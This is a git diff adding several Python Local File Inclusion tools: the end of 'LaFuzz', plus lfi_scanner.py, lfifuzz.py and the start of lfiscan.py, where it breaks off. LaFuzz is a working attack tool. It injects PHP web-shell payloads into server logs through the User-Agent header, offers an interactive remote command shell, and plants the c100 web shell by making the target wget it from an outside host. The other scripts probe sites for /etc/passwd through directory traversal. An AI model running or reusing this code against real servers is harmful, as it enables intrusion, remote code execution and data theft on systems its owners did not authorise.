+            print("Ready to start a new scan..")
+
+        nullorno = str(raw_input("Use a nullbyte(y or n):"))
+        nullorno = nullorno.lower()
+        if nullorno == 'n':
+            for log in logs:
+                myurl = url + step + log
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error: %s" %(e))
+
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)      
+
+        elif nullorno == 'y':
+            for log in logs:
+                myurl = url + step + log
+                print("Attempting to include: %s" %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error: %s" %(e))           
+
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)
+      
+        else:
+            option_error()
+            sys.exit(1)
+
+    elif option == "7":
+        print("\n\n1)Inject code in a specific Log?")
+        print("2)Include all logs and inject code(a LFI hail mary(very noisy!))?: ")
+        what_to_do = str(raw_input("Option:"))
+        if what_to_do == "1":
+            url = str(raw_input("Site were working with: "))
+            if url[:7] != "http://":
+                url = "http://"+url
+            else:
+                url = url
+
+            logfile = str(raw_input("Logfile to inject code into?: "))             
+            null = str(raw_input("Add a nullbyte(y/n):" ))
+            if null == "n":
+                myurl = url + step + logfile
+                print("Attempting to inject code into logfile: %s" %(logfile) )
+                try:
+                    exploit_lfi(myurl)
+
+                except IOError as e:
+                    print("Error injecting code into %s\n ERROR: %s" %(logfile, e))
+    
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)      
+ 
+                
+            elif null == "y":
+                myurl = url + step + logfile + null
+                print("Attempting to inject code into logfile: %s" %(logfile) )
+                try:
+                    exploit_lfi(myurl)
+                 
+                except IOError as e:
+                    print("Error injecting code into %s\n ERROR: %s" %(logfile, e))
+
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)
+
+            else:
+                option_error()
+                sys.exit(1) 
+
+        if what_to_do == "2":
+            warn = str(raw_input("Warning: Danger scan with a lot of requests, exit?(y/n)"))
+            if warn == "y":
+                sys.exit(1)
+
+            elif warn == "n":
+                url = str(raw_input("Site were working with: "))
+                if url[:7] != "http://":
+                    url = "http://"+url
+                else:
+                    url = url
+
+                null = str(raw_input("Add a nullbyte(y/n):" ))
+                if null == "n":
+                    for log in logs:
+                        myurl = url + step + log
+                        print("Attempting to inject code into logfile: %s" %(log))
+                        try:
+                            exploit_lfi(myurl)
+                        
+                        except IOError as e:
+                            print("Error injecting code into %s\n ERROR: %s" %(log, e))
+
+                        except KeyboardInterrupt:      
+                            print("Exitting...")
+                            sys.exit(1)      
+
+        else:    
+            pass
+
+
+    elif option == "8":
+        os.system('clear')
+        print("[+]OS Environ/FD/Logfile Shell environment\n\n")
+        url = str(raw_input("Fully Exploited url?: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+
+        while 1:
+            try:
+                command_shell(url)
+            
+            except IOError as e:
+                print("Error executing command. Code: %s" %(e))
+ 
+            except KeyboardInterrupt:      
+                print("Exitting...")
+                sys.exit(1)      
+
+    elif option == "9":
+        b64file = "b64_encoded_stream.txt"
+        print "Warning: allow_url_include must be enabled for this attack to succeed!"
+        url = str(raw_input("Url to exploit?: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+
+        read = str(raw_input("PHP File to attempt to read or include(ie config.php)"))
+        sploit = "php://filter/convert.base64-encode/resource="
+        myurl = url + sploit + read
+        try:
+            req = urllib2.Request(myurl)
+            req.add_header('UserAgent: ','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)')
+            req.add_header('Keep-Alive: ','115')
+            req.add_header('Referer: ','http://'+url)
+            response = urllib2.urlopen(req, timeout=10)
+            pointer = response
+            with open(htmlfile , 'a') as PHPOBJ:
+                PHPOBJ.writelines("<b>PHPStream url: %s</b>" %(myurl))
+                PHPOBJ.writelines(pointer)
+                if PHPOBJ.writelines(pointer):
+                    B64.b64decode(pointer)
+                    print("Decoded Base 64 streams have been written to %s" %(b64file))
+                else: 
+                    pass
+        
+        except IOError as e:
+            print("Error codes: %s" %(e))
+
+        except KeyboardInterrupt:
+            print("Exitting...")
+            sys.exit(1)
+            
+    elif option == "10":
+        htmlfile = "LFI_fuzz_custom.html"
+        url = str(raw_input("Site to scan: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+
+        print("Cleaning up old html files")
+        try:
+            cleanup(htmlfile)
+
+            print("Old files removed, ready to start a new scan")
+        except:
+            print("Ready to start a new scan..")
+
+        step = str(raw_input("Custom step to dump application data?(Step meaning ../ ..\ ..// : "))
+        nullorno = str(raw_input("Scan with nullbyte(y or n):"))
+        nullorno = nullorno.lower()
+        if nullorno == 'y':
+            for fuzz in fuzzer:
+                myurl = url + fuzz + nullbyte
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error codes: %s" %(e))
+ 
+                except KeyboardInterrupt:
+                    print("Exitting...")
+                    sys.exit(1)
+               
+
+        elif nullorno == 'n':
+            for lfi in lfi_load:
+                myurl = url + step + lfi 
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error codes: %s" %(e))
+ 
+                except KeyboardInterrupt:
+                    print("Exitting...")
+                    sys.exit(1)
+        else:
+            pass
+     
+    elif option == "11":       
+        banner()        
+        info()
+
+    elif option == "12":
+        print("Exitting...\nHappy Hacking, friends! >^.^>")
+        sys.exit(0)
+
+    else:
+        try: 
+            main() 
+       
+        except IndexError:
+            print("Random text for error handling")
+
+        except KeyboardInterrupt:
+            print("Exitting... ") 
+    
+def scanner(url, base, outfile):
+    req = urllib2.Request(url)
+    req.add_header('UserAgent: ','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)')
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+base)
+    response = urllib2.urlopen(req, timeout=10)
+    html = response
+    with open(outfile , 'a') as h1OBJ:
+        h1OBJ.writelines("<b>Query Used: %s</b>"  %(url))
+        h1OBJ.writelines(html)
+        if h1OBJ.writelines(html):
+            print("Html pages and responses have been written to %s" %(outfile))
+        else:
+            pass
+
+
+def cleanup(file):
+    print("Clearing old files before starting a new scan")
+    os.remove(file)
+
+
+def option_error():
+        print("\t\t\t[--]Option error![--]\n\n\t\t[+]Please choose an offered option or exit![+]")
+        usage()
+        
+
+
+def banner():
+    if sys.platform == "linux" or sys.platform == "linux2":
+        os.system('clear')
+    else:
+        os.system('cls')
+
+    print("""\n\n\t\tLaFuzz""")
+    print("\t\tby m0le")
+    print("\t\tBlack Tiger Security 1998 - 2012\n")
+    
+        
+
+
+def exploit_lfi(url):
+    req = urllib2.Request(url)
+    req.add_header('UserAgent: ','<?php system($_REQUEST["cmd"]?>')
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    req = urllib2.Request(url)
+    req.add_header('UserAgent: ','<?php shell_exec($_REQUEST["cmd"]?>')
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    req = urllib2.Request(url)
+    req.add_header('UserAgent: ','<?php eval($_REQUEST["cmd"]?>')
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    req = urllib2.Request(url)
+    req.add_header('UserAgent: ','<?php exec($_REQUEST["cmd"]?>')
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    req = urllib2.Request(url)
+    req.add_header('UserAgent: ','<?php passthru($_REQUEST["cmd"]?>')
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    print("Code has been injected in a total of 5 requests!\nIf all went well you may have a shell waiting for you here:\n\n%s&&cmd={INJECT CODE HERE}" %(url))
+
+
+def command_shell(site):
+    end = "&&cmd="
+    cmd = str(raw_input("shell~$: "))
+    if cmd:
+        try:
+            mycmd = site + end + cmd
+            print("injecting %s" %(cmd))
+            req = urllib2.Request(mycmd)
+            response = urllib2.urlopen(req, timeout=10)
+            print("Command response: %s" %(response))
+
+        except IOError as e:
+            print("Error: %s" %(e)) 
+    
+        except KeyboardInterrupt:
+            print("Exitting...")
+            sys.exit(1)
+    else:
+        print("Error executing command. Check for the shell manually")
+
+
+
+def exploit_environ(url):
+    req = urllib2.Request(url)
+    req.add_header("UserAgent: ","<? system('wget http://www.xfocus.net.ru/soft/c100.txt -O page'?>)")
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+                    
+    req = urllib2.Request(url)
+    req.add_header("UserAgent: ","<?php shell_exec('wget http://www.xfocus.net.ru/soft/c100.txt -O page'?>")
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    req = urllib2.Request(url)
+    req.add_header("UserAgent: ","<?php eval('wget http://www.xfocus.net.ru/soft/c100.txt -O page'?>")
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    req = urllib2.Request(url)
+    req.add_header("UserAgent: ","<?php exec('wget http://www.xfocus.net.ru/soft/c100.txt -O page'?>")
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    req = urllib2.Request(url)
+    req.add_header("UserAgent: ","<?php passthru('wget http://www.xfocus.net.ru/soft/c100.txt -O page'?>")
+    req.add_header('Keep-Alive: ','115')
+    req.add_header('Referer: ','http://'+url)
+    response = urllib2.urlopen(req, timeout=10)
+
+    print("Done in 5 requests.\n\nIf all went well c100 shell should be available in root folder named page: %s/page" %(url))
+
+
+
+def info():
+    print("""\n\n\t\tLaFuzz""")
+    print("\t\tby m0le")
+    print("\t\tBlack Tiger Security 1998 - 2012\n")
+    print("\t[I]Descript: \n\tLaFuzz is an LFI fuzzer which is specify on Local File Incursion (LFI),")
+    print("\tbut not just to exploit known vulnerabilities; LaFuzz takes a step forward onto")
+    print("\texploiting unknown/0-day which is surrounding directory traversal's vectors.")
+    print("\n\tThis fearsome tool is the Swiss blade for your survival kit in the digital ocean.\n\n")
+
+
+def usage():
+    print("\t[!]Usage")
+    print("\tWritten from noob-friendly CLI skeleton,\n\tLaFuzz workflows are similar to SecScan.")
+    print("\tEx: root$>%s\n" %(sys.argv[0]))
+    print("Directions: To simply run the scan and follow the prompts:\n")
+
+if __name__ == '__main__': 
+    if sys.platform == "linux" or sys.platform == "linux2":
+        os.system('clear')
+    else:
+        os.system('cls')
+
+    sys.exit(main())
diff --git a/3rdparty/lfi_scanner.py b/3rdparty/lfi_scanner.py
new file mode 100644
index 0000000..42a7afd
--- /dev/null
+++ b/3rdparty/lfi_scanner.py
@@ -0,0 +1,445 @@
+#!/usr/bin/python
+
+# Simple Local File Inclusion Vulnerability Scanner
+# by Valentin Hoebel (valentin@xenuser.org)
+# Version 1.0 (29th December 2010)
+
+# ASCII FOR BREAKFAST
+
+# ---------- [Description]
+# This tool helps you to find LFI (Local File Inclusion) vulnerabilities.
+
+# ---------- [Features]
+# - This time with working random user agents ^_^
+# - Checks if a connection to the target can be established
+# - Some error handling
+# - Scans an URL for LFI vulnerabilities
+# - Finds out how a possible LFI vulnerability can be exploited (e.g. directory depth)
+# - Supports nullbytes
+# - Supports common *nix targets, but no Windows systems.
+# - Creates a small log file.
+# Supports no SEO URLs, such as www.example.com/local-news/
+# But in most cases it is possible to find out the real URL and pass it to this script.
+
+# ---------- [Usage example]
+# ./lfi_scanner.py --url="http://www.example.com/page.php?url=main"
+
+# ---------- [Known issues]
+# - This tool is only able to find "simple" LFI vulnerabilities, but not complex ones.
+# - Like most other LFI scanners, this tool here also has trouble with
+#   handling certain server responses. So this tool does not work with every website.
+
+# ---------- [Tested with]
+# Targets: Apache2 servers and PHP websites, various Linux systems
+# Script platform: Ubuntu Lucid Lynx and Python 2.6.5
+
+# ---------- [Notes]
+# - This tool was developed using a Python 2.6.5 interpreter.
+# - I admit: This tool is a little bit slow and not very efficient (too many variables etc.). Sorry about that :P
+# - Modify, distribute, share and copy this code in any way you like!
+# - Please note that this tool was created and published for educational purposes only, e.g. for pentesting
+#   your own website. Do not use it in an illegal way and always know + respect your local laws.
+#   I am not responsible if you cause any damage with it.
+
+# ---------- [Changelog]
+# - Version 1.0 (29th December 2010):
+#    - Initial release
+
+# Power to the cows!
+
+import getopt,  sys,  random,  urllib,  urllib2,  httplib,  re,  string,  os
+from urllib2 import Request,  urlopen,  URLError,  HTTPError
+from urlparse import urlparse
+from time import gmtime, strftime
+ 
+def print_usage(): 
+    print_banner()
+    print "[!] Wrong argument and parameter passed. Use --help and learn how to use this tool :)"
+    print "[i] Hint: You need to pass a value for --url=\"<value>\" ."
+    print "[i] Example: ./lfi_scanner.py --url=\"http://www.example.com/page.php?file=main\" "
+    print ""
+    print ""
+    sys.exit()
+    return
+    
+def print_help():
+    print_banner()
+    print "((Displaying the content for --help.))"
+    print ""
+    print "[Description]"
+    print "The Simple Local File Inclusion Vulnerability Scanner"
+    print "helps you to find LFI vulnerabilities."
+    print ""
+    print "[Usage]"
+    print "./lfi_scanner.py --url=\"<URL with http://>\" "
+    print ""
+    print "[Usage example]"
+    print "./lfi_scanner.py --url=\"http://www.example.com/page.php?file=main\" "
+    print ""
+    print "[Usage notes]"
+    print "- Always use http://...."
+    print "- This tool does not work with SEO URLs, such as http://www.example.com/news-about-the-internet/."
+    print "  If you only have a SEO URL, try to find out the real URL which contents parameters."
+    print ""
+    print "[Feature list]"
+    print "- Provides a random user agent for the connection."
+    print "- Checks if a connection to the target can be established."
+    print "- Tries to catch most errors with error handling. "
+    print "- Scans for LFI vulnerabilities. "
+    print "- Finds out how a possible LFI vulnerability can be exploited (e.g. directory depth)."
+    print "- Supports nullbytes!"
+    print "- Supports common *nix targets, but no Windows systems."
+    print "- Creates a small log file."
+    print ""
+    print "[Some notes]"
+    print "- Tested with Python 2.6.5."
+    print "- Modify, distribute, share and copy the code in any way you like!"
+    print "- Please note that this tool was created for educational purposes only."
+    print "- Do not use this tool in an illegal way. Know and respect your local laws."
+    print "- Only use this tool for legal purposes, such as pentesting your own website :)"
+    print "- I am not responsible if you cause any damage or break the law."
+    print "- Power to teh c0ws!"
+    print ""
+    print ""
+    sys.exit()
+    return
+    
+def print_banner():
+    print ""
+    print ""
+    print ""
+    print "Simple Local File Inclusion Vulnerability Scanner"
+    print "by Valentin Hoebel (valentin@xenuser.org)"
+    print ""
+    print "Version 1.0 (29th December 2010)  ^__^"
+    print "                                  (oo)\________"
+    print "                                  (__)\        )\/\ "
+    print "                                      ||----w |"
+    print "Power to teh cows!                    ||     ||"
+    print "____________________________________________________"
+    print ""
+    return
+
+def test_url(scan_url):
+    print ""
+    print "[i] Assuming the provided data was correct."
+    print "[i] Trying to establish a connection with a random user agent..."
+    
+    user_agents = [
+                            "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8", 
+                            "Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre", 
+                            "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6)", 
+                            "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)", 
+                            "Mozilla/3.01 (Macintosh; PPC)", 
+                            "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.9)",   
+                            "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01",  
+                            "Opera/8.00 (Windows NT 5.1; U; en)",  
+                            "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19"
+                          ]
+    user_agent = random.choice (user_agents)
+    check=""
+    
+    request_website = urllib2.Request(scan_url)
+    request_website.add_header('User-Agent', user_agent)
+    
+    try:
+        check = urllib2.urlopen(request_website)
+    except HTTPError,  e:
+        print "[!] The connection could not be established."
+        print "[!] Error code: ",  e
+        print "[!] Exiting now!"
+        print ""
+        print ""
+        sys.exit(1)
+    except URLError, e:
+        print "[!] The connection could not be established."
+        print "[!] Reason: ",  e
+        print "[!] Exiting now!"
+        print ""
+        print ""
+        sys.exit(1)
+    else:
+        print "[i] Connected to target! URL seems to be valid."
+        print "[i] Jumping to the scan feature."
+    return 
+    
+    
+def scan_lfi(scan_url):    
+    # Define all variables of this function
+    parameters = {}
+    original_value_of_tested_parameter = ""
+    check_value_of_tested_parameter = ""
+    check_value_of_tested_parameter_with_nullbyte = ""
+    lfi_found = 0
+    param_equals = "="
+    param_sign_1 = "?"
+    param_sign_2 = "&"
+    nullbyte = "%00"
+    one_step_deeper = "../"
+    for_changing_the_dump_file_name = "_"
+    max_depth = 20
+    i = 0
+    nullbyte_required = 1
+    depth = 0
+    query_string = ""
+    modified_query_string = ""
+    lfi_url_part_one = ""
+    lfi_url_part_two = ""
+    lfi_url_part_three = ""
+    lfi_url_part_four = ""
+    lfi_url = ""
+    find_nasty_string = "root:x:0:0:"
+    find_nasty_string_2 = "mail:x:8:"
+    user_agents = [
+                            "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8", 
+                            "Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre", 
+                            "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6)", 
+                            "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)", 
+                            "Mozilla/3.01 (Macintosh; PPC)", 
+                            "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.9)",   
+                            "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01",  
+                            "Opera/8.00 (Windows NT 5.1; U; en)",  
+                            "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19"
+                          ]
+    user_agent = random.choice (user_agents)
+    lfi_response=""
+    lfi_response_source_code = ""
+    replace_string = ""
+    replace_string_2 = ""
+    replace_me = ""
+    exploit_depth= 0
+    folder_name = ""
+    cd_into = ""
+    log_file_name = ""
+    local_file = "etc/passwd"
+    local_file_for_first_test = "/etc/passwd"
+    lfi_exploit_url = ""
+    
+     # We have to split up the URL in order to replace the value of the vulnerable parameter
+    get_parsed_url = urlparse(scan_url)
+    print "[i] IP address / domain: " + get_parsed_url.netloc
+
+    if len(get_parsed_url.path) == 0:
+        print "[!] The URL doesn't contain a script (e.g. target/index.php)."
+    else:
+        print "[i] Script:",  get_parsed_url.path
+    if len(get_parsed_url.query) == 0:
+        print "[!] The URL doesn't contain a query string (e.g. index.php?var1=x&controller=main)."
+    else:
+        print "[i] URL query string:",  get_parsed_url.query
+        print ""
+
+    # Finding all URL parameters
+    if param_sign_1 in scan_url and param_equals in scan_url:
+        print "[i] It seems that the URL contains at least one parameter."
+        print "[i] Trying to find also other parameters..."
+        
+        # It seems that there is at least one parameter in the URL. Trying to find out if there are also others...
+        if param_sign_2 in get_parsed_url.query and param_equals in get_parsed_url.query:
+            print "[i] Also found at least one other parameter in the URL."
+        else:
+            print "[i] No other parameters were found."
+            
+    else:
+        print ""
+        print "[!] It seems that there is no parameter in the URL."
+        print "[!] How am I supposed to find a vulnerability then?"
+        print "[!] Please provide an URL with a script and query string."
+        print "[!] Example: target/index.php?cat=1&article_id=2&controller=main"
+        print "[!] Hint: I can't handle SEO links, so try to find an URL with a query string."
+        print "[!] This can most likely be done by having a look at the source code (rightclick -> show source code in your browser)."
+        print "[!] Exiting now!"
+        print ""
+        print ""
+        sys.exit(1)
+    
+    # Detect the parameters
+    # Thanks to atomized.org for the URL splitting and parameters parsing part!
+    parameters = dict([part.split('=') for part in get_parsed_url[4].split('&')])
+
+    # Count the parameters
+    parameters_count = len(parameters)
+    
+    # Print the parameters and store them in single variables
+    print "[i] The following", parameters_count, "parameter(s) was/were found:"
+    print "[i]",  parameters
+    
+    # Have a look at each parameter and do some nasty stuff 
+    for index, item in enumerate(parameters):
+        print "[i] Probing parameter \"",  item, "\"..."
+        
+        check_value_of_tested_parameter = local_file_for_first_test 
+        check_value_of_tested_parameter_with_nullbyte = local_file_for_first_test + nullbyte
+        query_string = get_parsed_url.query
+    
+        # Find out what value the checked parameter currently has
+        for key, value in parameters.items():
+            if key == item:
+                # Save the value of the vulnerable parameter, so we later can search in in the URL
+                original_value_of_tested_parameter = value
+    
+        # Our main routine, maybe the most important part of this script
+        # At first without the nullbyte
+        for depth in range(i, max_depth):
+            # Replace the default value of the vulnerable parameter with our LFI string
+            replace_string = (depth * one_step_deeper) + local_file
+            replace_string_2 = item + param_equals + (depth * one_step_deeper) + local_file
+            
+            # The first test is a special case. With the code above, we would check for the file "etc/passwd" which does not
+            # work. Therefore we replace "etc/passwd" with "/etc/passwd" for our first vulnerability check.
+            if depth== 0:
+                replace_string = local_file_for_first_test 
+                replace_string_2 = item + param_equals  + local_file_for_first_test
+                
+            replace_me = item + param_equals + original_value_of_tested_parameter
+            modified_query_string = query_string.replace(replace_me,  replace_string_2)
+            
+            # Now craft the URL
+            lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://"
+            lfi_url_part_two = "".join(get_parsed_url[1:2]) 
+            lfi_url_part_three = "".join(get_parsed_url[2:3])  + "?"
+            lfi_url_part_four = "".join(modified_query_string)  
+            lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four
+            
+            # Ok, everything is prepared to enter subspace.. eeh, to call the URL (Stargate fans get this joke!)
+            request_website = urllib2.Request(lfi_url)
+            request_website.add_header('User-Agent', user_agent)
+    
+            try:
+                lfi_response = urllib2.urlopen(request_website)
+            except URLError,  e:
+                print "[!] The connection could not be established."
+                print "[!] Reason: ",  e
+            else:
+                lfi_response_source_code = lfi_response.read()
+                if find_nasty_string in lfi_response_source_code:
+                    print "[+] Found signs of a LFI vulnerability! No nullbyte was required."
+                    print "[+] URL: " + lfi_url
+                    lfi_exploit_url  = lfi_url
+                    nullbyte_required = 0
+                    lfi_found  = 1
+                    exploit_depth = depth
+                    break
+                else:
+                    if find_nasty_string_2 in lfi_response_source_code:
+                        print "[+] Found signs of a LFI vulnerability! No nullbyte was required." 
+                        print "[+] URL: " + lfi_url
+                        lfi_exploit_url  = lfi_url
+                        nullbyte_required = 0
+                        lfi_found  = 1
+                        exploit_depth = depth
+                        break
+        
+        if nullbyte_required == 1:
+            # Now with the nullbyte
+            for depth in range(i, max_depth):
+                # Replace the default value of the vulnerable parameter with our LFI string
+                replace_string = (depth * one_step_deeper) + local_file + nullbyte
+                replace_string_2 = item + param_equals + (depth * one_step_deeper) + local_file + nullbyte
+            
+                # The first test is a special case. With the code above, we would check for the file "etc/passwd" which does not
+                # work. Therefore we replace "etc/passwd" with "/etc/passwd" for our first vulnerability check.
+                if depth== 0:
+                    replace_string = check_value_of_tested_parameter_with_nullbyte
+                    replace_string_2 = item + param_equals  + check_value_of_tested_parameter_with_nullbyte
+                
+                replace_me = item + param_equals + original_value_of_tested_parameter
+                modified_query_string = query_string.replace(replace_me,  replace_string_2)
+            
+                # Now craft the URL
+                lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://"
+                lfi_url_part_two = "".join(get_parsed_url[1:2]) 
+                lfi_url_part_three = "".join(get_parsed_url[2:3])  + "?"
+                lfi_url_part_four = "".join(modified_query_string)  
+                lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four
+            
+                # Ok, everything is prepared to enter subspace.. eeh, to call the URL (Stargate fans get this joke!)
+                request_website = urllib2.Request(lfi_url)
+                request_website.add_header('User-Agent', user_agent)
+                
+                try:
+                    lfi_response = urllib2.urlopen(request_website)
+                except URLError,  e:
+                    print "[!] The connection could not be established."
+                    print "[!] Reason: ",  e
+                else:
+                    lfi_response_source_code = lfi_response.read()
+                    if find_nasty_string in lfi_response_source_code:
+                        print "[+] Found signs of a LFI vulnerability! Using the nullbyte was necessary."
+                        print "[+] URL: " + lfi_url
+                        lfi_exploit_url  = lfi_url
+                        lfi_found  = 1
+                        exploit_depth = depth
+                        break
+                    else:
+                        if find_nasty_string_2 in lfi_response_source_code:
+                            print "[+] Found signs of a LFI vulnerability! Using the nullbyte was necessary."
+                            print "[+] URL: " + lfi_url
+                            lfi_exploit_url  = lfi_url
+                            lfi_found  = 1
+                            exploit_depth = depth
+                            break
+        
+    if lfi_found == 0:
+        print "[!] Sorry, I was not able to detect a LFI vulnerability here."
+        print "[!] Exiting now!"
+        print ""
+        print ""
+        sys.exit()
+
+    # Create a simple log file
+    log_file_name = get_parsed_url.netloc + "_-_" + strftime("%d_%b_%Y_%H:%M:%S_+0000", gmtime()) + "_-_scan.log"
+    FILE = open(log_file_name,  "w")
+    FILE.write("Simple Local File Inclusion Vulnerability Scanner - Log File\n")
+    FILE.write("----------------------------------------------------------------------\n\n")
+    FILE.write("Scanned URL:\n")
+    FILE.write(scan_url + "\n\n")
+    FILE.write("LFI URL:\n")
+    FILE.write(lfi_exploit_url)
+    FILE.close
+
+    print ""
+    print "[i] A small log file was created."
+    print "[i] Completed the scan. Will now exit!"
+    print ""
+    print""
+    sys.exit(1)
+
+    return
+    
+    
+def main(argv):
+    scan_url=""
+    
+    try:
+        opts,  args = getopt.getopt(sys.argv[1:],  "",  ["help",  "url="])
+    except getopt.GetoptError   :
+        print_usage()
+        sys.exit(2)
+    
+    for opt,  arg in opts:
+        if opt in ("--help"):
+            print_help()
+            break
+            sys.exit(1)
+        elif opt in ("--url") :
+            scan_url=arg
+            
+    if len(scan_url) < 1:
+        print_usage()
+        sys.exit()
+        
+    # Continue if all required arguments were passed to the script.
+    print_banner()
+    print "[i] Provided URL to scan: " + scan_url
+    
+    # Check if URL is reachable
+    test_url(scan_url)
+
+    # Calling the LFI scanner function
+    scan_lfi(scan_url)
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
+    
+### EOF ###
diff --git a/3rdparty/lfifuzz.py b/3rdparty/lfifuzz.py
new file mode 100644
index 0000000..c2ffbe5
--- /dev/null
+++ b/3rdparty/lfifuzz.py
@@ -0,0 +1,86 @@
+#!/usr/bin/python
+#Takes a list of dir traversal paths and tests http response.
+#
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, urllib2, socket, time, re
+
+#Search for in source 
+#(depends on your file, be creative to limit false positives)
+Search = "root:"
+#Verbose Mode On = 1
+Verbose = 0
+#File to use for fuzzing (Don't remove unless changed)
+vulns = "http://packetstormsecurity.org/fuzzer/dirTraversal.txt"
+#Time to wait between tests (secs)
+TTW = "2"
+
+def main(host, path):
+	h = httplib.HTTP(host)
+	h.putrequest("HEAD", path)
+	h.putheader("Host", host)
+	h.endheaders()
+	okresp, reason, headers = h.getreply()
+	return okresp, reason, headers.get("Server")
+
+def getsource(line):
+	try:
+		source = urllib2.urlopen("http://"+line).read()
+		if Verbose == 1:
+			print "Source:",len(source)
+		if re.search(Search.lower(), source.lower()) != None: 
+			print "\n[!] LFI:",line,"\n"
+	except(urllib2.HTTPError, urllib2.URLError), msg:
+		print "[-] Received Error:",msg
+ 		pass 
+
+socket.setdefaulttimeout(10)
+
+print "\n\t   d3hydr8[at]gmail[dot]com LFIfuzz v1.0"
+print "\t------------------------------------------"
+
+if len(sys.argv) != 3:
+	print "\nUsage: ./lfifuzz.py <site> <file>\n"
+	print "Ex. ./lfifuzz.py site.com/index.php?id= /etc/passwd\n"
+	sys.exit(1)
+
+try:
+	paths = urllib2.urlopen(vulns).readlines()[8:]
+except(urllib2.HTTPError): 
+ 	print "[-] Error: Check vulns location.\n" 
+	sys.exit(1)
+	
+host = sys.argv[1].replace("http://","")
+if host.count("=") >= 1:
+	host = host.rsplit("=",1)[0]+"="
+if host[-1:] != "=":
+	print "[-] Error: Malformed site address, check example.\n" 
+	sys.exit(1)
+
+x = sys.argv[2]
+if x[0] == "/" or x[0] == "\'":
+	x = x[1:]
+
+okresp, reason, server = main(host.split("/",1)[0],"/")
+
+print "\n[+] Host:",host
+print "[+] File:",x
+print "[+] Search:",Search
+print "[+] Time to wait:",TTW,"seconds"
+print "[+] Server:",server
+print "[+] Response:",okresp, reason
+print "[+] Paths Loaded:",len(paths)
+if Verbose == 1:
+	print "[+] Verbose Mode On\n"
+else:
+	print "[+] Verbose Mode Off\n"
+	
+for line in paths:
+	time.sleep(int(TTW))
+	line = line.replace("\n","").replace("{FILE}",x)
+	if Verbose == 1:
+		print "[-] Checking:",line[:-1]
+ 	getsource(host+line)
+
+print "\n[-] Done\n"
diff --git a/3rdparty/lfiscan.py b/3rdparty/lfiscan.py
new file mode 100644
index 0000000..9834272
--- /dev/null
+++ b/3rdparty/lfiscan.py
@@ -0,0 +1,211 @@
+#!/usr/bin/python
+#This is a Local File Inclusion scanner.
+#
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, time, socket, sets, urllib2, re
+
+def main(host):
+	
+	print "\n","-"*55
+	print "\n[+] Target host:",host
+
+	#Getting http request codes
+
+	okresp = tester("/")[:1]
